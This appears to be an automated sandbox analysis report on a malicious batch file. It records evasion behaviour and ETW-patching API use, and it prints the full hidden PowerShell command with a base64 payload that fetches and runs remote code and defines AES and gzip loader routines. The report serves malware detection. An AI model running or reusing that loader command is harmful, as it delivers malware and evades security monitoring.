                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5648Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2320Thread sleep count: 3127 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7616Thread sleep time: -3689348814741908s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7628Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5028Thread sleep count: 4529 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7016Thread sleep time: -5534023222112862s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7164Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6972Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3328Thread sleep count: 3553 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2688Thread sleep time: -4611686018427385s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6392Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4040Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7256Thread sleep count: 3699 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2096Thread sleep time: -4611686018427385s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6764Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7256Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4600Thread sleep count: 1978 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7304Thread sleep time: -1844674407370954s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7516Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3704Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6756Thread sleep count: 3683 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8160Thread sleep time: -9223372036854770s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8144Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1776Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6776Thread sleep count: 3716 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5644Thread sleep time: -7378697629483816s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3192Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3152Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3896Thread sleep count: 2562 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6308Thread sleep time: -5534023222112862s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6996Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5180Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5792Thread sleep count: 3531 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1656Thread sleep time: -8301034833169293s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7632Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6796Thread sleep count: 2395 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8100Thread sleep time: -3689348814741908s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6684Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8100Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6684Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0040AE51 FindFirstFileW,FindNextFileW,12_2_0040AE51
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,13_2_00407EF8
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,14_2_00407898
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00418981 memset,GetSystemInfo,12_2_00418981
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
                        Source: powershell.exe, 00000033.00000002.3588702853.0000000006EED000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
                        Source: powershell.exe, 00000024.00000002.2974752181.0000000007111000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam(
                        Source: powershell.exe, 0000001F.00000002.2792157922.000000000720F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
                        Source: powershell.exe, 0000001A.00000002.2653529316.0000000007648000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr
                        Source: powershell.exe, 00000042.00000002.4800958004.0000000007910000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll
                        Source: powershell.exe, 0000000B.00000002.2340319003.000000000766E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.3146915414.0000000007971000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.3347678167.00000000070E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000038.00000002.3991265028.000000000738C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.4392540245.00000000080C6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                        Source: powershell.exe, 00000014.00000002.2482052044.00000000070FB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllBB
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAPI call chain: ExitProcess graph end nodegraph_13-34080
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,12_2_0040DD85
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_004044A4 LoadLibraryW,GetProcAddress,FreeLibrary,MessageBoxW,12_2_004044A4
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior

                        HIPS / PFW / Operating System Protection Evasion

                        barindex
                        Yara detected Powershell decode and execute
                        Source: Yara matchFile source: amsi32_3664.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_6092.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_7524.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_7848.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_8120.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_364.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_7468.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_1588.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_8008.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_3432.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_6532.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_3852.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_6504.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_5712.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_5552.amsi.csv, type: OTHER
                        Source: Yara matchFile source: amsi32_5440.amsi.csv, type: OTHER
                        .NET source code references suspicious native API functions
                        Source: 11.2.powershell.exe.6369538.1.raw.unpack, ymmhl.csReference to suspicious API methods: LoadLibrary("ntdll.dll")
                        Source: 11.2.powershell.exe.6369538.1.raw.unpack, ymmhl.csReference to suspicious API methods: GetProcAddress(hModule, "EtwEventWrite")
                        Source: 11.2.powershell.exe.6369538.1.raw.unpack, ymmhl.csReference to suspicious API methods: VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, PAGE_EXECUTE_READWRITE, out var lpflOldProtect)
                        Bypasses PowerShell execution policy
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Maps a DLL or memory area into another process
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: NULL target: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe protection: execute and read and writeJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: NULL target: C:\Windows\System32\conhost.exe protection: execute and read and writeJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: NULL target: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe protection: execute and read and writeJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\As7KZaO9Dy.bat" Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\xiwpgftnewcebsxtokyugqisw"Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
